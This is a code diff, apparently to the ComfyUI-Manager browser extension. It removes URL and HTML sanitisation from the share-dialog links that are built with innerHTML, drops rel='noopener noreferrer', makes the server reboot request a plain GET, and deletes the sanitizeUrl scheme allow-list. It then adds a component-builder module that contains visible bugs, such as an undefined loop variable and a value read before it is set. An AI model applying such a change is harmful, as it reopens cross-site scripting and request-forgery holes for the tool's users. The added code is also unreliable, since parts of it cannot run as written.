this.final_message.innerHTML = "Your art has been shared: <a href='" + sharedUrl + "' target='_blank' rel='noopener noreferrer'>" + sharedUrl + "</a>";
|
||||
this.final_message.innerHTML = "Your art has been shared: <a href='" + response_json.comfyworkflows.url + "' target='_blank'>" + response_json.comfyworkflows.url + "</a>";
|
||||
if (response_json.matrix.success) {
|
||||
this.final_message.innerHTML += "<br>Your art has been shared in the ComfyUI Matrix server's #share channel!";
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { $el, ComfyDialog } from "../../scripts/ui.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
import { customAlert } from "./common.js";
|
||||
|
||||
const env = "prod";
|
||||
|
||||
@@ -883,7 +883,7 @@ export class CopusShareDialog extends ComfyDialog {
|
||||
const { data } = res.data;
|
||||
if (data) {
|
||||
const url = `${DEFAULT_HOMEPAGE_URL}/work/${data}`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${sanitizeHTML(sanitizeUrl(url))}" target="_blank" rel="noopener noreferrer">Click here to view it.</a>`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
|
||||
this.previewImage.src = "";
|
||||
this.previewImage.style.display = "none";
|
||||
this.uploadedImages = [];
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import {app} from "../../scripts/app.js";
|
||||
import {api} from "../../scripts/api.js";
|
||||
import {ComfyDialog, $el} from "../../scripts/ui.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
import { customAlert } from "./common.js";
|
||||
|
||||
const LOCAL_STORAGE_KEY = "openart_comfy_workflow_key";
|
||||
const DEFAULT_HOMEPAGE_URL = "https://openart.ai/workflows/dev?developer=true";
|
||||
@@ -511,7 +511,7 @@ export class OpenArtShareDialog extends ComfyDialog {
|
||||
const {workflow_id} = response.data;
|
||||
if (workflow_id) {
|
||||
const url = `https://openart.ai/workflows/-/-/${workflow_id}`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${sanitizeHTML(sanitizeUrl(url))}" target="_blank" rel="noopener noreferrer">Click here to view it.</a>`;
|
||||
this.message.innerHTML = `Workflow has been shared successfully. <a href="${url}" target="_blank">Click here to view it.</a>`;
|
||||
this.previewImage.src = "";
|
||||
this.previewImage.style.display = "none";
|
||||
this.uploadedImages = [];
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import {app} from "../../scripts/app.js";
|
||||
import {api} from "../../scripts/api.js";
|
||||
import {ComfyDialog, $el} from "../../scripts/ui.js";
|
||||
import { customAlert, sanitizeHTML, sanitizeUrl } from "./common.js";
|
||||
import { customAlert } from "./common.js";
|
||||
|
||||
const BASE_URL = "https://youml.com";
|
||||
//const BASE_URL = "http://localhost:3000";
|
||||
@@ -420,7 +420,7 @@ export class YouMLShareDialog extends ComfyDialog {
|
||||
}
|
||||
}
|
||||
this.message.innerHTML = `${messagePrefix} To turn your workflow into an interactive app, ` +
|
||||
`<a href="${sanitizeHTML(sanitizeUrl(recipePageUrl))}" target="_blank" rel="noopener noreferrer">visit it on YouML</a>`;
|
||||
`<a href="${recipePageUrl}" target="_blank">visit it on YouML</a>`;
|
||||
|
||||
this.uploadedImages = [];
|
||||
this.nameInput.value = "";
|
||||
|
||||
@@ -172,7 +172,7 @@ export function rebootAPI() {
|
||||
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
|
||||
if (isConfirmed) {
|
||||
try {
|
||||
api.fetchApi("/v2/manager/reboot", { method: 'POST' });
|
||||
api.fetchApi("/v2/manager/reboot");
|
||||
}
|
||||
catch(exception) {}
|
||||
}
|
||||
@@ -216,7 +216,7 @@ export async function install_pip(packages) {
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message(await install_denial_message(res, 'allow_pip_install'));
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -251,7 +251,7 @@ export async function install_via_git_url(url, manager_dialog) {
|
||||
});
|
||||
|
||||
if(res.status == 403) {
|
||||
show_message(await install_denial_message(res, 'allow_git_url_install'));
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -659,54 +659,4 @@ function initTooltip () {
|
||||
document.body.addEventListener('mouseleave', mouseleaveHandler, true);
|
||||
}
|
||||
|
||||
initTooltip();
|
||||
// Installation flags and network mode take effect after a restart.
|
||||
const INSTALL_DENIAL_RESTART_NOTE = "<BR>Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again.";
|
||||
|
||||
export const INSTALL_DENIAL_MESSAGES = {
|
||||
allow_git_url_install: "To use this feature, set <code>allow_git_url_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required." + INSTALL_DENIAL_RESTART_NOTE,
|
||||
allow_pip_install: "To use this feature, set <code>allow_pip_install = true</code> in the [default] section of config.ini. This setting is independent of security_level.<BR>Note: if the ComfyUI listener is not local, <code>network_mode = personal_cloud</code> is also required." + INSTALL_DENIAL_RESTART_NOTE
|
||||
};
|
||||
|
||||
// Last resort when no entry above applies. Names no flag on purpose.
|
||||
const INSTALL_DENIAL_UNKNOWN_REASON = "This action was refused by the server, and the client could not determine which setting caused it. The server terminal log states the exact condition. Please contact the administrator.";
|
||||
|
||||
// Use the endpoint's flag when the 403 response body is missing or malformed.
|
||||
export async function install_denial_message(res, fallbackReason) {
|
||||
let reason = fallbackReason;
|
||||
try {
|
||||
const data = await res.json();
|
||||
if (typeof data === 'object' && data !== null && typeof data.reason === 'string'
|
||||
&& Object.prototype.hasOwnProperty.call(INSTALL_DENIAL_MESSAGES, data.reason)) {
|
||||
reason = data.reason;
|
||||
}
|
||||
}
|
||||
catch {
|
||||
// absent / non-JSON body: keep the fallback
|
||||
}
|
||||
return INSTALL_DENIAL_MESSAGES[reason] ?? INSTALL_DENIAL_UNKNOWN_REASON;
|
||||
}
|
||||
|
||||
/**
|
||||
* Scheme allow-list for registry-supplied URLs that land in an href.
|
||||
* Returns the URL if it is http(s) or relative, otherwise "". Never throws.
|
||||
*/
|
||||
export function sanitizeUrl(url) {
|
||||
const raw = String(url ?? '').trim();
|
||||
if (!raw) {
|
||||
return '';
|
||||
}
|
||||
let parsed;
|
||||
try {
|
||||
parsed = new URL(raw);
|
||||
}
|
||||
catch {
|
||||
// not absolute: keep a scheme-less relative path, drop anything else
|
||||
return /^[a-z][a-z0-9+.\-]*:/i.test(raw) ? '' : raw;
|
||||
}
|
||||
// URL parsing already normalised the scheme (`java\tscript:` collapses).
|
||||
if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
|
||||
return raw;
|
||||
}
|
||||
return '';
|
||||
}
|
||||
initTooltip();
|
||||
@@ -0,0 +1,812 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
|
||||
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
|
||||
const SEPARATOR = ">"
|
||||
|
||||
let pack_map = {};
|
||||
let rpack_map = {};
|
||||
|
||||
export function getPureName(node) {
|
||||
// group nodes/
|
||||
let category = null;
|
||||
if(node.category) {
|
||||
category = node.category.substring(12);
|
||||
}
|
||||
else {
|
||||
category = node.constructor.category?.substring(12);
|
||||
}
|
||||
if(category) {
|
||||
let purename = node.comfyClass.substring(category.length+1);
|
||||
return purename;
|
||||
}
|
||||
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
|
||||
return node.comfyClass.substring(9);
|
||||
}
|
||||
else {
|
||||
return node.comfyClass;
|
||||
}
|
||||
}
|
||||
|
||||
function isValidVersionString(version) {
|
||||
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
|
||||
|
||||
const match = version.match(versionPattern);
|
||||
|
||||
return match !== null &&
|
||||
parseInt(match[1], 10) >= 0 &&
|
||||
parseInt(match[2], 10) >= 0 &&
|
||||
(!match[3] || parseInt(match[4], 10) >= 0);
|
||||
}
|
||||
|
||||
function register_pack_map(name, data) {
|
||||
if(data.packname) {
|
||||
pack_map[data.packname] = name;
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
else {
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
}
|
||||
|
||||
function storeGroupNode(name, data, register=true) {
|
||||
let extra = app.graph.extra;
|
||||
if (!extra) app.graph.extra = extra = {};
|
||||
let groupNodes = extra.groupNodes;
|
||||
if (!groupNodes) extra.groupNodes = groupNodes = {};
|
||||
groupNodes[name] = data;
|
||||
|
||||
if(register) {
|
||||
register_pack_map(name, data);
|
||||
}
|
||||
}
|
||||
|
||||
export async function load_components() {
|
||||
let data = await api.fetchApi('/v2/manager/component/loads', {method: "POST"});
|
||||
let components = await data.json();
|
||||
|
||||
let start_time = Date.now();
|
||||
let failed = [];
|
||||
let failed2 = [];
|
||||
|
||||
for(let name in components) {
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
if(data) {
|
||||
let data = components[name];
|
||||
|
||||
let category = data.packname;
|
||||
if(data.category) {
|
||||
category += SEPARATOR + data.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
const config = new GroupNodeConfig(name, data);
|
||||
await config.registerType(category);
|
||||
|
||||
register_pack_map(name, data);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 5000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback1
|
||||
for(let i in failed) {
|
||||
let name = failed[i];
|
||||
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 10000) {
|
||||
failed2.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback2
|
||||
for(let name in failed2) {
|
||||
let name = failed2[i];
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.workflow.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 30000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
|
||||
let component_name = `${prefix}::${nodename}`;
|
||||
|
||||
let subgraph = app.graph.extra?.groupNodes?.[component_name];
|
||||
if(!subgraph) {
|
||||
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
|
||||
}
|
||||
|
||||
subgraph.version = version;
|
||||
subgraph.author = author;
|
||||
subgraph.datetime = Date.now();
|
||||
subgraph.packname = packname;
|
||||
subgraph.category = category;
|
||||
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: subgraph
|
||||
};
|
||||
|
||||
pack_map[packname] = component_name;
|
||||
rpack_map[component_name] = subgraph;
|
||||
|
||||
const res = await api.fetchApi('/v2/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if(res.status == 200) {
|
||||
storeGroupNode(component_name, subgraph);
|
||||
const config = new GroupNodeConfig(component_name, subgraph);
|
||||
|
||||
let category = body.workflow.packname;
|
||||
if(body.workflow.category) {
|
||||
category += SEPARATOR + body.workflow.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
|
||||
let path = await res.text();
|
||||
show_message(`Component '${component_name}' is saved into:\n${path}`);
|
||||
}
|
||||
else
|
||||
show_message(`Failed to save component.`);
|
||||
}
|
||||
|
||||
async function import_component(component_name, component, mode) {
|
||||
if(mode) {
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: component
|
||||
};
|
||||
|
||||
const res = await api.fetchApi('/v2/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json", },
|
||||
body: JSON.stringify(body)
|
||||
});
|
||||
}
|
||||
|
||||
let category = component.packname;
|
||||
if(component.category) {
|
||||
category += SEPARATOR + component.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
storeGroupNode(component_name, component);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
await config.registerType(category);
|
||||
}
|
||||
|
||||
function restore_to_loaded_component(component_name) {
|
||||
if(rpack_map[component_name]) {
|
||||
let component = rpack_map[component_name];
|
||||
storeGroupNode(component_name, component, false);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
config.registerType(component.category);
|
||||
}
|
||||
}
|
||||
|
||||
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
|
||||
let last_paste_timestamp = null;
|
||||
|
||||
function versionCompare(v1, v2) {
|
||||
let ver1;
|
||||
let ver2;
|
||||
if(v1 && v1 != '') {
|
||||
ver1 = v1.split('.');
|
||||
ver1[0] = parseInt(ver1[0]);
|
||||
ver1[1] = parseInt(ver1[1]);
|
||||
if(ver1.length == 2)
|
||||
ver1.push(0);
|
||||
else
|
||||
ver1[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver1 = [0,0,0];
|
||||
}
|
||||
|
||||
if(v2 && v2 != '') {
|
||||
ver2 = v2.split('.');
|
||||
ver2[0] = parseInt(ver2[0]);
|
||||
ver2[1] = parseInt(ver2[1]);
|
||||
if(ver2.length == 2)
|
||||
ver2.push(0);
|
||||
else
|
||||
ver2[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver2 = [0,0,0];
|
||||
}
|
||||
|
||||
if(ver1[0] > ver2[0])
|
||||
return -1;
|
||||
else if(ver1[0] < ver2[0])
|
||||
return 1;
|
||||
|
||||
if(ver1[1] > ver2[1])
|
||||
return -1;
|
||||
else if(ver1[1] < ver2[1])
|
||||
return 1;
|
||||
|
||||
if(ver1[2] > ver2[2])
|
||||
return -1;
|
||||
else if(ver1[2] < ver2[2])
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
function checkVersion(name, component) {
|
||||
let msg = '';
|
||||
if(rpack_map[name]) {
|
||||
let old_version = rpack_map[name].version;
|
||||
if(!old_version || old_version == '') {
|
||||
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
let c = versionCompare(old_version, component.version);
|
||||
if(c < 0) {
|
||||
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else if(c > 0) {
|
||||
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
msg = ` '${name}' Same version (V${component.version})`;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
msg = `'${name}' NEW (V${component.version})`;
|
||||
}
|
||||
|
||||
return msg;
|
||||
}
|
||||
|
||||
async function handle_import_components(components) {
|
||||
let msg = 'Components:\n';
|
||||
let cnt = 0;
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
let v = checkVersion(name, component);
|
||||
|
||||
if(cnt < 10) {
|
||||
msg += v + '\n';
|
||||
}
|
||||
else if (cnt == 10) {
|
||||
msg += '...\n';
|
||||
}
|
||||
else {
|
||||
// do nothing
|
||||
}
|
||||
|
||||
cnt++;
|
||||
}
|
||||
|
||||
let last_name = null;
|
||||
msg += '\nWill you load components?\n';
|
||||
const confirmed = await customConfirm(msg);
|
||||
if(confirmed) {
|
||||
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
|
||||
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
import_component(name, component, mode);
|
||||
last_name = name;
|
||||
}
|
||||
|
||||
if(mode) {
|
||||
show_message('Components are saved.');
|
||||
}
|
||||
else {
|
||||
show_message('Components are loaded.');
|
||||
}
|
||||
}
|
||||
|
||||
if(cnt == 1 && last_name) {
|
||||
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
|
||||
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
|
||||
app.canvas.graph.add(node, false);
|
||||
}
|
||||
}
|
||||
|
||||
async function handlePaste(e) {
|
||||
let data = (e.clipboardData || window.clipboardData);
|
||||
const items = data.items;
|
||||
for(const item of items) {
|
||||
if(item.kind == 'string' && item.type == 'text/plain') {
|
||||
data = data.getData("text/plain");
|
||||
try {
|
||||
let json_data = JSON.parse(data);
|
||||
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
|
||||
last_paste_timestamp = json_data.timestamp;
|
||||
await handle_import_components(json_data.components);
|
||||
|
||||
// disable paste node
|
||||
localStorage.removeItem("litegrapheditor_clipboard", null);
|
||||
}
|
||||
else {
|
||||
console.log('This components are already pasted: ignored');
|
||||
}
|
||||
}
|
||||
catch {
|
||||
// nothing to do
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener("paste", handlePaste);
|
||||
|
||||
|
||||
export class ComponentBuilderDialog extends ComfyDialog {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
clear() {
|
||||
while (this.element.children.length) {
|
||||
this.element.removeChild(this.element.children[0]);
|
||||
}
|
||||
}
|
||||
|
||||
show() {
|
||||
this.invalidateControl();
|
||||
|
||||
this.element.style.display = "block";
|
||||
this.element.style.zIndex = 1099;
|
||||
this.element.style.width = "500px";
|
||||
this.element.style.height = "480px";
|
||||
}
|
||||
|
||||
invalidateControl() {
|
||||
this.clear();
|
||||
|
||||
let self = this;
|
||||
|
||||
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
|
||||
this.save_button = $el("button",
|
||||
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
|
||||
{
|
||||
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
|
||||
self.getNodeName(), self.getPackName(), self.category.value.trim());
|
||||
}
|
||||
});
|
||||
|
||||
let default_nodename = getPureName(this.target_node).trim();
|
||||
|
||||
let groupNode = app.graph.extra.groupNodes[default_nodename];
|
||||
let default_packname = groupNode.packname;
|
||||
if(!default_packname) {
|
||||
default_packname = '';
|
||||
}
|
||||
|
||||
let default_category = groupNode.category;
|
||||
if(!default_category) {
|
||||
default_category = '';
|
||||
}
|
||||
|
||||
this.default_ver = groupNode.version;
|
||||
if(!this.default_ver) {
|
||||
this.default_ver = '0.0';
|
||||
}
|
||||
|
||||
let default_author = groupNode.author;
|
||||
if(!default_author) {
|
||||
default_author = '';
|
||||
}
|
||||
|
||||
let delimiterIndex = default_nodename.indexOf('::');
|
||||
let default_prefix = "";
|
||||
if(delimiterIndex != -1) {
|
||||
default_prefix = default_nodename.substring(0, delimiterIndex);
|
||||
default_nodename = default_nodename.substring(delimiterIndex + 2);
|
||||
}
|
||||
|
||||
if(!default_prefix) {
|
||||
this.save_button.disabled = true;
|
||||
}
|
||||
|
||||
this.pack_list = this.createPackListCombo();
|
||||
|
||||
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
|
||||
this.version_string = version_string[1];
|
||||
this.version_string.disabled = true;
|
||||
|
||||
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
|
||||
this.author = author[1];
|
||||
|
||||
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
|
||||
this.node_prefix = node_prefix[1];
|
||||
|
||||
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
|
||||
this.manual_nodename = manual_nodename[1];
|
||||
|
||||
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
|
||||
this.manual_packname = manual_packname[1];
|
||||
|
||||
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
|
||||
this.category = category[1];
|
||||
|
||||
this.node_label = this.createNodeLabel();
|
||||
|
||||
let author_mode = this.createAuthorModeCheck();
|
||||
this.author_mode = author_mode[0];
|
||||
|
||||
const content =
|
||||
$el("div.comfy-modal-content",
|
||||
[
|
||||
$el("tr.cm-title", {}, [
|
||||
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
|
||||
),
|
||||
$el("br", {}, []),
|
||||
$el("div.cm-menu-container",
|
||||
[
|
||||
author_mode[0],
|
||||
author_mode[1],
|
||||
category[0],
|
||||
author[0],
|
||||
node_prefix[0],
|
||||
manual_nodename[0],
|
||||
manual_packname[0],
|
||||
version_string[0],
|
||||
this.pack_list,
|
||||
$el("br", {}, []),
|
||||
this.node_label
|
||||
]),
|
||||
|
||||
$el("br", {}, []),
|
||||
this.save_button,
|
||||
close_button,
|
||||
]
|
||||
);
|
||||
|
||||
content.style.width = '100%';
|
||||
content.style.height = '100%';
|
||||
|
||||
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
|
||||
}
|
||||
|
||||
validateInput() {
|
||||
let msg = "";
|
||||
|
||||
if(!isValidVersionString(this.version_string.value)) {
|
||||
msg += 'Invalid version string: '+event.value+"\n";
|
||||
}
|
||||
|
||||
if(this.node_prefix.value.trim() == '') {
|
||||
msg += 'Node prefix cannot be empty\n';
|
||||
}
|
||||
|
||||
if(this.manual_nodename.value.trim() == '') {
|
||||
msg += 'Node name cannot be empty\n';
|
||||
}
|
||||
|
||||
if(msg != '') {
|
||||
// alert(msg);
|
||||
}
|
||||
|
||||
this.save_button.disabled = msg != "";
|
||||
}
|
||||
|
||||
getPackName() {
|
||||
if(this.pack_list.selectedIndex == 0) {
|
||||
return this.manual_packname.value.trim();
|
||||
}
|
||||
|
||||
return this.pack_list.value.trim();
|
||||
}
|
||||
|
||||
getNodeName() {
|
||||
if(this.manual_nodename.value.trim() != '') {
|
||||
return this.manual_nodename.value.trim();
|
||||
}
|
||||
|
||||
return getPureName(this.target_node);
|
||||
}
|
||||
|
||||
createAuthorModeCheck() {
|
||||
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
|
||||
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
|
||||
check_label.style.color = "var(--fg-color)";
|
||||
check_label.style.cursor = "pointer";
|
||||
check.checked = false;
|
||||
|
||||
let self = this;
|
||||
check.onchange = () => {
|
||||
self.version_string.disabled = !check.checked;
|
||||
|
||||
if(!check.checked) {
|
||||
self.version_string.value = self.default_ver;
|
||||
}
|
||||
else {
|
||||
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
|
||||
}
|
||||
};
|
||||
|
||||
return [check, check_label];
|
||||
}
|
||||
|
||||
createNodeLabel() {
|
||||
let label = $el('p');
|
||||
label.className = 'cb-node-label';
|
||||
if(this.target_node.comfyClass.includes('::'))
|
||||
label.textContent = getPureName(this.target_node);
|
||||
else
|
||||
label.textContent = " _::" + getPureName(this.target_node);
|
||||
return label;
|
||||
}
|
||||
|
||||
createLabeledInput(placeholder, label, value) {
|
||||
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
|
||||
|
||||
let self = this;
|
||||
textbox.onchange = () => {
|
||||
this.validateInput.call(self);
|
||||
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
|
||||
}
|
||||
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
|
||||
|
||||
return [row, textbox];
|
||||
}
|
||||
|
||||
createPackListCombo() {
|
||||
let combo = document.createElement("select");
|
||||
combo.className = "cb-widget";
|
||||
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
|
||||
|
||||
combo.appendChild($el('option', default_packname_option, []));
|
||||
for(let name in pack_map) {
|
||||
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
|
||||
}
|
||||
|
||||
let self = this;
|
||||
combo.onchange = function () {
|
||||
if(combo.selectedIndex == 0) {
|
||||
self.manual_packname.disabled = false;
|
||||
}
|
||||
else {
|
||||
self.manual_packname.disabled = true;
|
||||
}
|
||||
};
|
||||
|
||||
return combo;
|
||||
}
|
||||
}
|
||||
|
||||
let orig_handleFile = app.handleFile;
|
||||
|
||||
async function handleFile(file) {
|
||||
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
|
||||
const reader = new FileReader();
|
||||
reader.onload = async () => {
|
||||
let is_component = false;
|
||||
const jsonContent = JSON.parse(reader.result);
|
||||
for(let name in jsonContent) {
|
||||
let cand = jsonContent[name];
|
||||
is_component = cand.datetime && cand.version;
|
||||
break;
|
||||
}
|
||||
|
||||
if(is_component) {
|
||||
await handle_import_components(jsonContent);
|
||||
}
|
||||
else {
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
};
|
||||
reader.readAsText(file);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
|
||||
app.handleFile = handleFile;
|
||||
|
||||
let current_component_policy = 'workflow';
|
||||
try {
|
||||
api.fetchApi('/v2/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => { current_component_policy = data; });
|
||||
}
|
||||
catch {}
|
||||
|
||||
function getChangedVersion(groupNodes) {
|
||||
if(!Object.keys(pack_map).length || !groupNodes)
|
||||
return null;
|
||||
|
||||
let res = {};
|
||||
for(let component_name in groupNodes) {
|
||||
let data = groupNodes[component_name];
|
||||
|
||||
if(rpack_map[component_name]) {
|
||||
let v = versionCompare(data.version, rpack_map[component_name].version);
|
||||
res[component_name] = v;
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
const loadGraphData = app.loadGraphData;
|
||||
app.loadGraphData = async function () {
|
||||
if(arguments.length == 0)
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
|
||||
let graphData = arguments[0];
|
||||
let groupNodes = graphData.extra?.groupNodes;
|
||||
let res = getChangedVersion(groupNodes);
|
||||
|
||||
if(res) {
|
||||
let target_components = null;
|
||||
switch(current_component_policy) {
|
||||
case 'higher':
|
||||
target_components = Object.keys(res).filter(key => res[key] == 1);
|
||||
break;
|
||||
|
||||
case 'mine':
|
||||
target_components = Object.keys(res);
|
||||
break;
|
||||
|
||||
default:
|
||||
// do nothing
|
||||
}
|
||||
|
||||
if(target_components) {
|
||||
for(let i in target_components) {
|
||||
let component_name = target_components[i];
|
||||
let component = rpack_map[component_name];
|
||||
if(component && graphData.extra?.groupNodes) {
|
||||
graphData.extra.groupNodes[component_name] = component;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
console.log('Empty components: policy ignored');
|
||||
}
|
||||
|
||||
arguments[0] = graphData;
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
};
|
||||
|
||||
export function set_component_policy(v) {
|
||||
current_component_policy = v;
|
||||
}
|
||||
|
||||
let graphToPrompt = app.graphToPrompt;
|
||||
app.graphToPrompt = async function () {
|
||||
let p = await graphToPrompt.call(app);
|
||||
try {
|
||||
let groupNodes = p.workflow.extra?.groupNodes;
|
||||
if(groupNodes) {
|
||||
p.workflow.extra = { ... p.workflow.extra};
|
||||
|
||||
// get used group nodes
|
||||
let used_group_nodes = new Set();
|
||||
for(let node of p.workflow.nodes) {
|
||||
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
|
||||
used_group_nodes.add(node.type.substring(9));
|
||||
}
|
||||
}
|
||||
|
||||
// remove unused group nodes
|
||||
let new_groupNodes = {};
|
||||
for (let key in p.workflow.extra.groupNodes) {
|
||||
if (used_group_nodes.has(key)) {
|
||||
